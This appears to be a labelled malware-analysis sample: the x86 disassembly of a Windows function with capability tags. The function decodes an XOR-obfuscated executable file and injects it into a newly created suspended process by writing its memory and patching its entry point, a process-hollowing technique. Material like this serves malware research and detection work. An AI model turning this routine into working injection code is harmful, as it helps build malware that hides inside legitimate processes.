Function at 0x1000a400
Capabilities:
Accept command line arguments
Encode data using xor
Resolve function by parsing pe exports
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x1000c168
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x780
push ebx
push ebp
push esi
push edi
push 0x2c8
lea eax, [esp + 0x4c4]
push 0
push eax
mov dword [esp + 0x4c8], 0
call fcn.10002920
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0xca]
push edx
mov word [esp + 0xcc], cx
call fcn.10002920
xor eax, eax
push 0x1fe
push eax
lea ecx, [esp + 0x2de]
push ecx
mov word [esp + 0x2e0], ax
call fcn.10002920
add esp, 0x24
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea edx, [esp + 0x2bc]
jmp 0x1000a490
movzx ecx, word [eax]
mov word [edx], cx
add eax, 2
add edx, 2
test cx, cx
jne 0x1000a490
push 0x40
lea edx, [esp + 0x74]
push 0
push edx
mov dword [esp + 0x78], 0x44
call fcn.10002920
lea ebx, [esp + 0x40]
call fcn.1000a2e0
mov edi, eax
lea eax, [esp + 0x20]
xor ebx, ebx
push eax
mov dword [esp + 0x7a8], ebx
mov eax, str.nUl2SXBJb0kvSWVJaEl1SUlJ
mov dword [esp + 0x24], ebx
call fcn.10009800
mov esi, eax
add esp, 0x10
xor ecx, ecx
cmp esi, ebx
mov ebx, dword [esp + 0x14]
jle 0x1000a501
lea ecx, [ecx]
mov dl, byte [ecx + ebx]
sub dl, 0x24
xor dl, 0x25
mov byte [ecx + ebx], dl
inc ecx
cmp ecx, esi
jl 0x1000a4f0
lea eax, [esp + 0x30]
push edi
push eax
call fcn.10001100
add esp, 8
push 0
push 0
push 3
push 0
push 1
mov byte [esp + 0x7ac], 1
mov eax, dword [eax]
push 0x80000000
push eax
call dword [0x10012bec]
mov edi, eax
mov byte [esp + 0x798], 0
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
mov dword [esp + 0x14], edi
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a55d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x798], 0xffffffff
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a588
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, 0xffffffff
je 0x1000aafa
push 0
push edi
call dword [0x10012bd0]
push 4
push 0x3000
mov ebp, eax
push ebp
push 0
call dword [0x10012ba8]
push 4
push 0x3000
push ebp
push 0
mov ebx, eax
call dword [0x10012ba8]
mov esi, eax
test ebx, ebx
je 0x1000aac9
test esi, esi
je 0x1000aac9
push ebp
push 0
push ebx
call fcn.10002920
push ebp
push 0
push esi
call fcn.10002920
add esp, 0x18
push 0
lea ecx, [esp + 0x3c]
push ecx
push ebp
push ebx
push edi
call dword [0x10012bcc]
test eax, eax
jne 0x1000a627
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0xb8]
push str.111_error_errid:_d
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [esp + 0xbc]
push eax
jmp 0x1000aaf2
cmp dword [esp + 0x38], 0
jne 0x1000a63c
push 0
push 0
push str.a10
jmp 0x1000aaf2
mov ecx, 2
cmp ebp, ecx
jbe 0x1000a698
mov edi, ebx
sub edi, esi
lea esp, [esp]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx + edx*2]
mov eax, ecx
sub eax, edx
jne 0x1000a66d
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x57
jmp 0x1000a68d
cmp eax, 1
jne 0x1000a67d
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x77
jmp 0x1000a68d
cmp eax, 2
jne 0x1000a68f
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, cl
xor dl, 0x36
mov byte [eax], dl
inc ecx
cmp ecx, ebp
jb 0x1000a650
mov edi, dword [esp + 0x14]
push edi
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
call dword [0x10012bd8]
nop
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x3c]
push edx
push ebp
lea edi, [esp + 0x40]
call fcn.10009b00
add esp, 0x10
test eax, eax
je 0x1000aa9e
push 0x8000
xor edi, edi
push edi
push ebx
mov dword [esp + 0x20], edi
call dword [0x10012bac]
push 0x8000
push edi
push esi
call dword [0x10012bac]
xor eax, eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x70]
push edx
mov word [esp + 0xa4], ax
mov eax, dword [0x10012bf0]
push eax
push edi
push 4
push edi
push edi
push edi
lea ecx, [esp + 0x2dc]
push ecx
push edi
mov dword [esp + 0xc0], 1
call dword [0x10012be8]
test eax, eax
jne 0x1000a7e8
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xc1
jne 0x1000a7b7
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [esp + 0x2c0]
push edx
mov eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov eax, dword [0x10012bf0]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x70]
push edx
push eax
push edi
push 4
push edi
push edi
push edi
lea ecx, [esp + 0x2dc]
push ecx
push edi
call dword [0x10012be8]
test eax, eax
jne 0x1000a7e8
call esi
push eax
lea edx, [esp + 0x2c0]
push edx
lea eax, [esp + 0xbc]
push str.112_error__s_errid:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push edi
push edi
lea ecx, [esp + 0xbc]
push ecx
push edi
jmp 0x1000aaf4
call esi
push eax
lea edx, [esp + 0x2c0]
push edx
lea eax, [esp + 0xbc]
push str.113_error__s_errid:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push edi
push edi
lea ecx, [esp + 0xbc]
push ecx
push edi
jmp 0x1000aaf4
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x4bc]
push edx
push eax
mov dword [esp + 0x4c4], 0x10007
call dword [0x10012bbc]
mov eax, dword [esp + 0x560]
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x20]
push 4
lea edx, [esp + 0x34]
push edx
add eax, 8
push eax
push ecx
call dword [0x10012bc4]
mov eax, dword [esp + 0x2c]
push 0x1c
lea edx, [esp + 0x54]
push edx
push eax
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x28]
push eax
call dword [0x10012bb0]
test eax, eax
je 0x1000a879
mov esi, 0x1000
lea esp, [esp]
cmp dword [esp + 0x60], esi
jne 0x1000a879
mov eax, dword [esp + 0x14]
add eax, dword [esp + 0x5c]
mov edx, dword [esp + 0x1c]
push 0x1c
lea ecx, [esp + 0x54]
push ecx
push eax
push edx
mov dword [esp + 0x24], eax
call dword [0x10012bb0]
test eax, eax
jne 0x1000a850
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x34]
mov ebx, dword [esp + 0x30]
mov ebp, dword [esp + 0x44]
sub eax, ecx
cmp dword [esi + 0x34], ecx
jne 0x1000a8e8
cmp eax, ebp
jb 0x1000a8e8
lea edx, [esp + 0x4c]
push edx
push 0x40
push eax
mov eax, dword [esp + 0x28]
push ecx
push eax
mov dword [esp + 0x28], ecx
call dword [0x10012bb4]
test eax, eax
jne 0x1000a963
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0xb8]
push str.114_error_errid:_d
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
push edi
lea edx, [esp + 0xbc]
push edx
push edi
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1000a963
mov edx, dword [esp + 0x560]
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x20]
push 4
lea ecx, [esp + 0x1c]
push ecx
add edx, 8
push edx
push eax
mov dword [esp + 0x28], edi
call dword [0x10012bc8]
mov ecx, dword [esi + 0x34]
mov edx, dword [esp + 0x1c]
push 0x40
push 0x3000
push ebp
push ecx
push edx
call dword [0x10012bb8]
mov dword [esp + 0x14], eax
cmp eax, edi
jne 0x1000a96d
mov eax, esi
call fcn.10009d90
test eax, eax
je 0x1000a963
mov eax, dword [esp + 0x1c]
push 0x40
push 0x3000
push ebp
push edi
push eax
call dword [0x10012bb8]
mov dword [esp + 0x14], eax
cmp eax, edi
je 0x1000aa7a
mov edi, ebx
mov ecx, esi
call fcn.10009d20
xor edi, edi
cmp dword [esp + 0x14], edi
je 0x1000aa7a
mov eax, dword [esp + 0x560]
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x20]
push 4
lea edx, [esp + 0x1c]
push edx
add eax, 8
push eax
push ecx
mov byte [esp + 0x50], 0xe9
mov dword [esp + 0x51], edi
call dword [0x10012bc8]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push ebp
mov dword [esi + 0x34], edx
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
push ebx
push ecx
push edx
call dword [0x10012bc8]
test eax, eax
je 0x1000aa20
mov eax, dword [esp + 0x56c]
mov edx, dword [esp + 0x14]
mov dword [esp + 0x4bc], 0x10007
mov ecx, dword [esi + 0x28]
sub ecx, eax
lea ecx, [ecx + edx - 5]
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x20]
push 5
mov dword [esp + 0x45], ecx
lea ecx, [esp + 0x44]
push ecx
push eax
push edx
call dword [0x10012bc8]
mov eax, dword [esp + 0x20]
push eax
call dword [0x10012bd4]
mov ecx, dword [esp + 0x20]
push ecx
call dword [0x10012bd8]
mov edx, dword [esp + 0x1c]
push edx
call dword [0x10012bd8]
mov eax, 1
jmp 0x1000aafc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0xb8]
push str.115_error_errid:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
push edi
lea ecx, [esp + 0xbc]
push ecx
push edi
call dword [sym.imp.USER32.dll_MessageBoxW]
mov edx, dword [esp + 0x1c]
push edi
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x20]
push eax
call dword [0x10012bd8]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [0x10012bd8]
mov eax, 1
jmp 0x1000aafc
mov edx, dword [esp + 0x1c]
push edi
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x20]
push eax
call dword [0x10012bd8]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [0x10012bd8]
jmp 0x1000aafa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0xb8]
push str.116_error_errid:_d
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [esp + 0xbc]
push eax
jmp 0x1000aaf2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0xb8]
push str.1101_error_errid:_d
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea edx, [esp + 0xbc]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov ecx, dword [esp + 0x790]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x78c
ret